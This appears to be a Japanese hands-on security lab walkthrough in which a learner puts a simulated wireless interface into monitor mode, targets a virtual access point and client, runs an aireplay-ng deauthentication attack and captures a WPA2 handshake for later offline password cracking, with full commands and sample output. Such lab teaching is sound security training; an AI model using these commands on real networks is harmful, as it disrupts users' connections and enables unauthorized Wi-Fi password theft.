はじめに
WPA ハンドシェイクキャプチャを強制する実験へようこそ。WPA/WPA2 の 4 ウェイハンドシェイクは、Wi-Fi ネットワークのパスワードをクラックしようとする際に必要となる重要なデータです。デバイスがネットワークに接続するのをパッシブに待ってこのハンドシェイクをキャプチャすることもできますが、時間がかかる場合があります。
よりアクティブなアプローチは、現在接続されているクライアントを切断させ、すぐに再接続させることです。このプロセスは、デアセンティケーション(または「deauth」)攻撃と呼ばれます。クライアントが再接続すると、4 ウェイハンドシェイクが実行され、それをキャプチャできます。
この実験では、aircrack-ngスイートの強力なツールであるaireplay-ngを使用して、シミュレートされた Wi-Fi クライアントに対してデアセンティケーション攻撃を実行します。これにより、分析のために WPA ハンドシェイクを確実にキャプチャできるようになります。私たちの実験環境は、MyTestAPという名前の仮想ワイヤレスアクセスポイント(AP)と接続されたクライアントで事前に設定されています。
airodump-ng スキャンから関連付けられたクライアントを特定する
このステップでは、ワイヤレスインターフェイスを監視用に準備し、次に airodump-ng を使用してターゲットのアクセスポイントとその接続されているクライアントを見つけます。
まず、仮想ワイヤレスインターフェイスのいずれかをモニターモードにする必要があります。このモードにより、インターフェイスは自分宛てのトラフィックだけでなく、空中のすべての Wi-Fi トラフィックをキャプチャできるようになります。ここでは wlan1 インターフェイスを使用します。
次のコマンドを実行して、wlan1 でモニターモードを開始します。
sudo airmon-ng start wlan1
このコマンドは、通常 wlan1mon という名前の新しいモニターインターフェイスを作成します。モードが有効になったことを確認する出力が表示されるはずです。
PHY Interface Driver Chipset
phy0 wlan0 mac80211_hwsim Software simulator
phy1 wlan1 mac80211_hwsim Software simulator
(mac80211 monitor mode vif enabled for [phy1]wlan1 on [phy1]wlan1mon)
(mac80211 station mode vif disabled for [phy1]wlan1)
次に、新しいモニターインターフェイス (wlan1mon) で airodump-ng を実行してスキャンを開始します。キャプチャしたパケットを capture という名前のファイルに書き込むために -w フラグを使用し、ターゲット AP の BSSID とチャネルを指定してスキャンを絞り込みます。シミュレートされた AP の BSSID は 02:00:00:00:01:00 で、チャネルは 6 です。
sudo airodump-ng -w capture --bssid 02:00:00:00:01:00 -c 6 wlan1mon
airodump-ng を実行したままにします。リアルタイムで更新される画面が表示されます。上部には近くのアクセスポイントがリストされ、下部にはそれらに接続されているクライアントがリストされます。私たちの AP である MyTestAP と、それに接続されている 1 つのクライアントが表示されるはずです。
出力は次のようになります。
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:01:00 -30 10 5 0 6 540 WPA2 CCMP PSK MyTestAP
BSSID STATION PWR Rate Lost Frames Probe
02:00:00:00:01:00 02:00:00:00:02:00 -35 0- 1 0 5
この出力から、以下を特定してメモしてください。
- BSSID:
02:00:00:00:01:00(AP の MAC アドレス)。 - STATION:
02:00:00:00:02:00(接続されているクライアントの MAC アドレス)。
このターミナルは実行したままにしておきます。後でハンドシェイクキャプチャを確認する際に必要になります。
デアセンティケーション攻撃のための新しいターミナルを開く
このステップでは、新しいターミナルウィンドウを開きます。前のステップの airodump-ng コマンドは、WPA ハンドシェイクをリッスンするために最初のターミナルで実行し続ける必要があります。デアセンティケーション攻撃は、2 番目の別のターミナルから開始されます。
新しいターミナルを開くには、ターミナルウィンドウの上部にあるターミナルタブバーの + アイコンをクリックします。

新しいターミナルが開いたら、~/project ディレクトリにいるので、次のステップで攻撃コマンドを実行する準備ができています。攻撃自体の後続のすべてのコマンドは、この新しいターミナルで実行する必要があります。
--deauth を使用した aireplay-ng デアウコマンドの構築
このステップでは、デアセンティケーション攻撃を実行する aireplay-ng コマンドを構築します。ステップ 1 で収集した情報を使用します。
aireplay-ng を使用したデアウ攻撃の基本的な構文は次のとおりです。
aireplay-ng --deauth <パケット数> -a <APのBSSID> -c <クライアントのSTATION> <インターフェイス>
各コンポーネントの内訳は次のとおりです。
--deauth: このフラグは、デアセンティケーション攻撃モードを指定します。<パケット数>: 送信するデアウパケットの数です。5のような小さなバーストを送信すれば、通常はクライアントを切断するのに十分です。-a <APのBSSID>: ターゲットアクセスポイントの MAC アドレスを指定します。ステップ 1 から、これは02:00:00:00:01:00です。-c <クライアントのSTATION>: 切断したいクライアントの MAC アドレスを指定します。ステップ 1 から、これは02:00:00:00:02:00です。<インターフェイス>: これはモニターモードのワイヤレスインターフェイスであり、wlan1monです。
これで、新しいターミナルで完全なコマンドを組み立てます。正確には次のようになります。
sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon
まだ Enter キーを押しないでください。次のステップでこのコマンドを実行します。
クライアントと AP をターゲットにした攻撃の実行
このステップでは、先ほど構築したコマンドを実行して攻撃を開始します。
2 番目のターミナルウィンドウで、Enter キーを押して aireplay-ng コマンドを実行します。
sudo aireplay-ng --deauth 5 -a 02:00:00:00:01:00 -c 02:00:00:00:02:00 wlan1mon
ツールはすぐにデアセンティケーションパケットの送信を開始します。出力には時刻と、クライアントに直接デアウが送信されていることが表示されます。
出力は次のようになります。
10:35:10 Waiting for beacon frame (BSSID: 02:00:00:00:01:00) on channel 6
10:35:10 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
10:35:11 Sending 64 directed DeAuths to 02:00:00:00:02:00 (code 7).
...
この攻撃は非常に高速です。コマンドを実行するとすぐに、ターゲットのクライアントはネットワークから切断され、すぐに再接続を試みます。この再接続プロセスが、キャプチャしたい WPA ハンドシェイクを生成します。
次のステップで結果を観察するために、すぐに最初のターミナル(airodump-ng を実行している方)に戻ってください。
airodump-ng ウィンドウでのハンドシェイクキャプチャの確認
このステップでは、airodump-ng ウィンドウで WPA ハンドシェイクメッセージを確認することで、デアセンティケーション攻撃が成功したことを確認します。
最初のターミナルに戻ってください。攻撃が成功した場合、airodump-ng の表示の右上隅に新しいメッセージが表示されます。
WPA handshake: 02:00:00:00:01:00
このメッセージは、airodump-ng が指定された BSSID の 4 ウェイハンドシェイクを正常に傍受し、記録したことを確認します。
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 02:00:00:00:01:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:01:00 -30 48 82 1 6 540 WPA2 CCMP PSK MyTestAP
BSSID STATION PWR Rate Lost Frames Probe
02:00:00:00:01:00 02:00:00:00:02:00 -36 0- 1 0 75
ハンドシェイクが取得できたので、キャプチャを停止できます。airodump-ng ターミナルで Ctrl+C を押して停止します。
ステップ 1 で -w capture フラグを使用したため、airodump-ng はキャプチャしたトラフィックを現在のディレクトリ(~/project)のファイルに保存しました。結果を確認するためにファイルを一覧表示します。
ls -l
capture で始まるいくつかのファイルが表示されるはずです。これには capture-01.cap が含まれます。この .cap ファイルには、先ほどキャプチャした WPA ハンドシェイクを含む生のパケットデータが含まれています。
-rw-r--r-- 1 root root 450 Oct 27 10:36 capture-01.cap
-rw-r--r-- 1 root root 892 Oct 27 10:36 capture-01.csv
-rw-r--r-- 1 root root 634 Oct 27 10:36 capture-01.kismet.csv
-rw-r--r-- 1 root root 128 Oct 27 10:36 capture-01.kismet.netxml
-rw-r--r-- 1 labex labex 121 Oct 27 10:28 hostapd.conf
-rw-r--r-- 1 labex labex 52 Oct 27 10:28 wpa_supplicant.conf
capture-01.cap ファイルが成果物です。これは現在、aircrack-ng のようなパスワードクラッキングツールで使用して、ネットワークの事前共有キー(PSK)を発見しようとすることができます。
まとめ
この実験の完了、おめでとうございます!デアセンティケーション攻撃を実行し、WPA ハンドシェイクを強制的にキャプチャすることに成功しました。
この実験では、以下の方法を学びました。
airmon-ngを使用してワイヤレスインターフェイスをモニターモードにする方法。airodump-ngを使用してターゲット AP とクライアントをスキャンし、特定する方法。aireplay-ngを使用してデアセンティケーション攻撃を構築し、実行する方法。- WPA ハンドシェイクのキャプチャを確認し、結果の
.capファイルを見つける方法。
これは、ワイヤレスネットワークセキュリティテストにおける基本的なスキルです。キャプチャされたハンドシェイクファイルは、次のフェーズの主要な材料となります。それは、aircrack-ng のようなツールと包括的な単語リストを使用したオフラインパスワードクラッキングです。
